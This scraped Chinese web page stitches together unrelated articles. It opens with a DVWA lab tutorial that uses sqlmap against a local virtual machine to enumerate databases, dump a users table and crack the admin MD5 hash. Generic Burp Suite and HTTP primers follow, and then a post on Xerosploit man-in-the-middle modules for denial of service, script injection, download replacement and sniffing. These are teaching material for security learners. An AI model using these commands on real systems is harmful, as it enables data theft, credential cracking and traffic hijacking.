Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
前面的幾篇文章,我們已經簡單介紹了SQL注入攻擊和DVWA實驗環境的搭建,詳見初識滲透測試—最常見黑客攻擊方式SQL注入簡介,黑客常利用的漏洞?Windows下安裝DVWA漏洞測試環境。今天我們就開始第一個攻擊實驗DVWA下的SQL注入!
1、實驗環境介紹
攻擊機 Kali Linux IP192.168.11.1
靶機 Win7 IP192.168.11.128
所使用的工具:SQLmap,火狐瀏覽器下的Tamper Data,DVWA漏洞環境
2、首先我們使用攻擊機訪問靶機下搭建的DVWA頁面。(地址為http://192.168.11.128/dvwa/)
3、使用火狐瀏覽器自帶的插件Tamper Data(沒有安裝的小伙伴可以去菜單-附加組件-搜索安裝,并在工具下打開使用),查看Web應用后臺提交給目標服務器的POST參數,Cookie值等數據。訪問SQL注入頁面,使用Tamper Data查看提交的數據。
訪問SQL注入頁面
Tamper Data獲取到的訪問請求數據
獲取目標URL和Cookie值
3、下面使用SQLmap 掃描,參數如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk'
這句指令 -u 就是剛才Tamper Data獲取的目標URL,使用 --cookie參數就為了使用當前會話Cookie,對漏洞頁面進行持續掃描。
通過掃描這個頁面,我們的掃描結果已經把這個站點的詳細信息列了出來,并且存在SQL注入點(如果不存在,我這個實驗環境不白搭了嗎。。。),該站點數據庫版本信息為MySQL 5.0,Web應用版本為PHP 7.1.11, Apache 2.4.29。
4、下一步我們就來獲取這個MySQL數據庫名。參數如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' --dbs -v
使用 --dbs 參數就可以探測所包含的數據庫名稱,掃描結果顯示出了Web應用的數據庫DVWA。
掃描過程
掃描結果
5、接下來,使用以下參數來查詢dvwa數據庫中的表名,參數如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables
這個參數中 -D 就是指定數據庫 --table就是列出表名
6、發現一個敏感的的表 users ,下面就來列出 users 表中的字段列表。參數如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables -T userd --columns
這個指令中 -T 參數是指定表名 ,--columns參數可以獲取該表中的字段。
7、可以看到有一個非常吸引人的字段 password,下面就把這個字段內容下載出來。參數如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables -T users --columns --dump
這個指令中的 --dump選項可以獲取到這個站點所有的用戶名和密碼的哈希值
字段內容
8、這時候我們就已經獲取了admin用戶的密碼哈希加密值,這條加密值我們可以通過網上破解MD5加密的站點進行解密。小編也隨便找了一個解密網站對admin用戶名的密碼哈希值進行了解密,其內容為password。
解密MD5
這只是實驗環境,我們能輕易獲取到后臺管理員的用戶名和密碼。實際環境與此相比要困難的多,小伙伴們進行實驗時有什么問題可以評論在下方,小編會及時回答,指令的輸入要注意格式的規范。切記不要對站點進行惡意攻擊,做一個遵紀守法的好公民。
有很多小伙伴比較喜歡這方面的內容,想要進行深入的學習,小編以后會常更新一些關于信息安全、網絡技術、電腦知識、科技等方面的內容,喜歡的小伙伴可以關注我,我也會持續不斷的為大家帶來用心創作的內容以及分享一些資源、學習資料。最后
計更新
章節一:Burp Suite入門
1、Burp Suite簡介
2、安裝Burp Suite
3、配置Burp Suite代理
章節二:HTTP基礎知識
1、HTTP協議基礎
2、HTTP請求方法
3、HTTP響應狀態碼
章節三:Burp Suite代理使用
1、攔截HTTP請求
2、修改HTTP請求
3、發送HTTP請求
章節四:Burp Suite目標分析
1、目標列表
2、目標作用域
3、目標掃描
章節五:Burp Suite漏洞掃描
1、漏洞掃描器簡介
2、漏洞掃描配置
3、漏洞掃描結果分析
章節六:Burp Suite拓展插件
1、插件簡介
2、插件安裝
3、插件開發
章節七:Burp Suite攻擊測試
1、SQL注入
2、跨站腳本攻擊
3、文件包含漏洞
章節八:Burp Suite高級使用
1、會話管理
2、自動化測試
3、數據包重放
章節九:Burp Suite與其他工具的結合使用
1、Metasploit結合使用
2、Nmap結合使用
3、Wireshark結合使用
章節十:Burp Suite安全與防御
1、Burp Suite安全配置
2、Burp Suite防御措施
3、Burp Suite安全最佳實踐
HTTP協議是現代網絡通信中最常用的協議之一,它是一種無狀態的協議,用于客戶端和服務器之間的通信。HTTP協議的基礎是請求-響應模型,即客戶端向服務器發送請求,服務器返回相應的響應。在本文中,我們將深入探討HTTP協議的基礎知識,包括HTTP的工作流程、HTTP請求和響應的結構以及HTTP請求方法和響應狀態碼等。
HTTP工作流程
HTTP協議的工作流程可以簡單地描述為客戶端向服務器發送請求,服務器接收請求并返回響應。具體而言,客戶端通過向服務器發送HTTP請求來請求服務器上的資源,例如文檔、圖像或視頻等。服務器收到請求后,根據請求的內容和其他相關信息,生成一個HTTP響應,并將其發送回客戶端。這個過程通常稱為“請求-響應周期”。
HTTP請求和響應結構
HTTP請求由三個部分組成:請求行、消息頭和消息正文。請求行包含請求方法、請求URL和HTTP協議版本。消息頭包含一些與請求相關的元數據,例如用戶代理、內容類型和內容長度等。消息正文包含請求的數據,例如表單數據或上傳的文件。
HTTP響應也由三個部分組成:狀態行、消息頭和消息正文。狀態行包含HTTP協議版本、狀態碼和狀態消息。狀態碼表示服務器對請求的響應類型,例如200表示成功,404表示未找到,500表示服務器內部錯誤等。消息頭包含與響應相關的元數據,例如服務器類型、內容類型和內容長度等。消息正文包含響應的數據,例如HTML文檔、圖像或視頻等。
HTTP請求方法
HTTP定義了多種請求方法,其中最常用的是GET和POST方法。GET方法用于從服務器獲取資源,通常用于獲取Web頁面、圖像和其他類型的文件。POST方法用于將數據發送到服務器,通常用于提交表單、上傳文件和執行其他類型的操作。
HTTP響應狀態碼
HTTP響應狀態碼指示服務器對請求的響應類型。以下是一些常見的HTTP響應狀態碼:
200 OK:請求已成功處理,并返回所請求的數據。
301 Moved Permanently:所請求的資源已永久移動到新的URL。
404 Not Found:所請求的資源未找到。
500 Internal Server Error:服務器發生了內部錯誤。
總結
HTTP協議是現代Web應用程序中最常用的協議之一,它使用請求-響應模型進行通信,并由請求行、消息頭和消息正文組成。HTTP定義了多種請求方法,其中最常用的是GET和POST方法,而HTTP響應狀態碼指示服務器對請求的響應類型。對于Web開發者來說,理解HTTP協議及其工作原理是至關重要的,因為它是Web應用程序的基礎。
HTTP(HyperText Transfer Protocol,超文本傳輸協議)是一種用于客戶端和服務器之間通信的協議。HTTP請求方法是HTTP協議的重要組成部分,用于定義客戶端向服務器發送請求的方式和類型。在本文中,我們將深入探討HTTP請求方法的各個方面,包括常見的請求方法、請求頭和請求體等。
HTTP請求方法
HTTP定義了多種請求方法,其中最常用的是GET和POST方法。以下是一些常見的HTTP請求方法:
1. GET方法
GET方法用于從服務器獲取資源,通常用于獲取Web頁面、圖像和其他類型的文件等。GET請求是一種安全的請求方法,因為它只是從服務器獲取資源而不對服務器做出任何修改。GET請求通常在URL中包含查詢參數,例如:
```
http://example.com/page?param1=value1¶m2=value2
```
在上面的URL中,`http://example.com/page`是服務器上的資源,`param1`和`param2`是查詢參數,`value1`和`value2`是參數的值。
2. POST方法
POST方法用于將數據發送到服務器,通常用于提交表單、上傳文件和執行其他類型的操作。POST請求可以包含請求體,請求體中包含要發送到服務器的數據。POST請求在URL中不包含查詢參數,數據通常包含在請求體中。例如:
```
POST /submitform HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
username=johndoe&password=password123
```
在上面的請求中,`POST`是請求方法,`/submitform`是服務器上的資源,`username`和`password`是表單字段,`johndoe`和`password123`是字段的值。
3. HEAD方法
HEAD方法與GET方法類似,但它只獲取資源的頭部信息而不返回資源的內容。這個方法通常用于客戶端需要了解資源的元數據,例如資源的類型、大小或最后修改時間等。
4. PUT方法
PUT方法用于向服務器上傳文件或其他數據。PUT請求通常包含請求體,請求體中包含要上傳的數據。PUT請求可以用于創建或更新服務器上的資源。例如:
```
PUT /file.txt HTTP/1.1
Host: example.com
Content-Type: text/plain
Content-Length: 10
Hello World
```
在上面的請求中,`PUT`是請求方法,`/file.txt`是服務器上的資源,`text/plain`是內容類型,`Hello World`是要上傳的數據。
5. DELETE方法
DELETE方法用于從服務器刪除資源。DELETE請求通常不包含請求體,因為它只是從服務器刪除資源而不修改資源的內容。例如:
```
DELETE /file.txt HTTP/1.1
Host: example.com
```
在上面的請求中,`DELETE`是請求方法,`/file.txt`是服務器上的資源。
HTTP請求頭
HTTP請求頭是HTTP請求中的一部分,用于包含與請求相關的元數據。以下是一些常見的HTTP請求頭:
1. User-Agent
User-Agent頭包含客戶端的信息,例如客戶端的名稱、版本和操作系統等。
2. Accept
Accept頭包含客戶端所能接受的響應類型,例如HTML、XML或JSON等。
3. Content-Type
Content-Type頭包含請求體的內容類型,例如text/plain、application/json或multipart/form-data等。
HTTP請求體
HTTP請求體是HTTP請求的一部分,用于包含要發送到服務器的數據。請求體通常出現在POST和PUT請求中。請求體的格式取決于Content-Type頭的值。以下是一些常見的請求體格式:
1. application/x-www-form-urlencoded
這是最常見的請求體格式,用于將表單數據編碼為鍵值對。例如:
```
username=johndoe&password=password123
```
2. application/json
這個格式通常用于將數據編碼為JSON格式。例如:
```
{
"username": "johndoe",
"password": "password123"
}
```
HTTP請求方法的總結
HTTP請求方法是HTTP協議的重要組成部分,用于定義客戶端向服務器發送請求的方式和類型。常見的HTTP請求方法包括GET、POST、HEAD、PUT和DELETE。HTTP請求頭和請求體也是HTTP請求的重要組成部分,用于包含與請求相關的元數據和要發送到服務器的數據。了解HTTP請求方法和相關的頭部和體,對于Web開發和網絡通信是非常重要的。
在HTTP協議中,響應狀態碼是服務器用來向客戶端傳遞請求處理結果的一種方式。響應狀態碼是由3個數字組成的代碼,每個數字代表不同的意義。在本文中,我們將介紹HTTP響應狀態碼的各種類型、每個狀態碼的含義以及如何處理它們。
## HTTP響應狀態碼類型
HTTP響應狀態碼被分為5種類型,分別以不同的數字開頭。這些數字的含義如下:
- 1xx:信息性響應。指示請求已接收,繼續處理。
- 2xx:成功響應。指示請求已成功處理。
- 3xx:重定向響應。指示客戶端必須采取進一步的操作才能完成請求。
- 4xx:客戶端錯誤響應。指示客戶端發生錯誤,例如請求的URL不存在或請求的參數無效。
- 5xx:服務器錯誤響應。指示服務器發生錯誤,例如服務器無法響應或服務器內部錯誤。
下面我們將詳細介紹每種類型的響應狀態碼。
## 信息性響應
1xx狀態碼用于向客戶端發送一些信息,以便客戶端知道服務器正在處理請求。這些狀態碼不代表請求的成功或失敗。
以下是一些常見的1xx狀態碼:
- 100 Continue:服務器已經接收到請求頭,并且客戶端應該繼續發送請求體。
- 101 Switching Protocols:客戶端請求切換協議,例如從HTTP到WebSocket。
## 成功響應
2xx狀態碼用于向客戶端發送請求已成功處理的消息。常見的2xx狀態碼有:
- 200 OK:請求已成功處理。
- 201 Created:新資源已成功創建。
- 204 No Content:請求已成功處理,但沒有響應體。
## 重定向響應
3xx狀態碼用于重定向客戶端請求。這些狀態碼通常表示客戶端必須采取進一步的操作才能完成請求。
以下是一些常見的3xx狀態碼:
- 300 Multiple Choices:請求的資源有多個選擇。
- 301 Moved Permanently:請求的資源已永久移動到新位置。
- 302 Found:請求的資源已暫時移動到新位置。
- 303 See Other:請求的資源可在另一個URL下找到。
- 304 Not Modified:客戶端緩存的資源與服務器上的版本相同,無需重新傳輸。
- 307 Temporary Redirect:請求的資源已暫時移動到新位置。
## 客戶端錯誤響應
4xx狀態碼用于指示客戶端發生錯誤。這些狀態碼通常表示請求無效或無法完成。
以下是一些常見的4xx狀態碼:
- 400 Bad Request:請求無效。
- 401 Unauthorized:請求需要身份驗證。
- 403 Forbidden:服務器拒絕請求。
- 404 Not Found:請求的資源不存在。
- 405 Method Not Allowed:請求方法不被允許。
- 409 Conflict:請求與當前資源狀態沖突。
- 415 Unsupported Media Type:請求的媒體類型不受支持。
## 服務器錯誤響應
5xx狀態碼用于指示服務器發生錯誤。這些狀態碼通常表示服務器無法響應或服務器內部錯誤。
以下是一些常見的5xx狀態碼:
- 500 Internal Server Error:服務器內部錯誤。
- 501 Not Implemented:服務器不支持請求的功能。
- 502 Bad Gateway:服務器作為網關或代理,從上游服務器接收到無效的響應。
- 503 Service Unavailable:服務器暫時無法處理請求。
- 504 Gateway Timeout:服務器作為網關或代理,等待上游服務器超時。
## 處理HTTP響應狀態碼
在處理HTTP響應狀態碼時,我們需要根據狀態碼采取不同的行動。以下是我們應該采取的一些行動:
- 1xx狀態碼:通常無需額外處理,只需等待服務器處理請求即可。
- 2xx狀態碼:請求已成功處理,如果有響應體,則將其解析并使用。
- 3xx狀態碼:根據狀態碼采取進一步行動,例如根據Location頭重定向到新的URL。
- 4xx狀態碼:檢查請求,例如檢查URL或請求參數是否正確。如果請求無效,則更正請求并重試。
- 5xx狀態碼:等待服務器恢復,并在必要時重試請求。
## 總結
HTTP響應狀態碼是服務器用來向客戶端傳遞請求處理結果的一種方式。狀態碼被分為5種類型,每個類型代表不同的含義。在處理HTTP響應狀態碼時,我們需要根據狀態碼采取不同的行動。了解HTTP響應狀態碼的含義和處理方法可以幫助我們更好地處理HTTP請求和響應。
點擊以下鏈接,學習更多技術!
林瑞木的網絡課堂,林瑞木 網絡管理,Linux 大講堂 - 51CTO學堂高級講師
×00 前言
偶然間,在國外網站的一篇文章中發現有提到這款中間人框架,順藤摸瓜拿來實踐一番,發現確實很可以,確實很方便,不敢獨享,特來拋磚引玉,不足之處還望斧正~
0×01 工具介紹
Xerosploit是一款可以進行中間人攻擊的滲透測試工具包。它具有多種模塊,可以進行多重有效的攻擊,如拒絕服務和端口掃描、劫持等。由bettercap和nmap強力驅動。
0×02 工具安裝
git clone https://github.com/LionSec/xerosploit
cd xerosploit && sudo python install.py
sudo xerosploit
在kali中很順利的就安裝成功了。
默認會自動列出本機的網卡信息,以備后續使用。
0×03 模塊介紹
輸入’help’來了解工具的使用。
輸入’scan’來掃描當前所在局域網主機信息。
輸入’192.168.0.102′來選定攻擊目標。
本地win10:192.168.0.102
虛擬機kali:192.168.0.111
輸入’help’來查看可對目標進行攻擊的模塊。
pscan:端口掃描
dos:對目標進行dos攻擊
ping:對目標進行ping是否存活
injecthtml:將html注入到目標訪問的網站中
injectjs:將javascript注入到目標訪問的網站中
rdownload:替換目標下載的文件
sniff:嗅探目標的流量信息
dspoof:將所有http流量重定向到特定ip
yplay:在目標的瀏覽器中后臺播放youtube視頻(還得fq)
replace:替換目標訪問網站的所有圖片
driftnet:查看目標訪問網站的所有圖片
move:讓目標訪問網站變得抖動
deface:將目標訪問網站的所有頁面替換成自己定義的html代碼
0×04 模塊使用
這里就介紹幾個好玩、方便展示的模塊利用,其他的大家就慢慢探索把玩好了~~
pscan模塊
端口默認只掃描1000個端口,調用nmap接口。
injecthtml模塊
test.html
<h1 style="font-size:50px;">hack fun</h1>
sniff模塊
*由于本人所在網絡環境復雜,演示過程中出現win10機器無網絡現象,不知道是工具缺陷問題,還是本機網卡問題?
Xerosploit的作者在YouTube也有演示視頻。
0×05 總結
正如作者在github中介紹道:Xerosploit由bettercap和nmap提供驅動,個人覺得是神器結合體,讓中間人攻擊更加傻瓜化,更加方便快捷,一般用到的功能都有了,至于怎么玩,就看腦洞大不大了~
*本文原創作者:補丁君,轉載須注明來自FreeBuf.COM
如有侵權請聯系 watch.dog@qq.com.
*請認真填寫需求信息,我們會在24小時內與您取得聯系。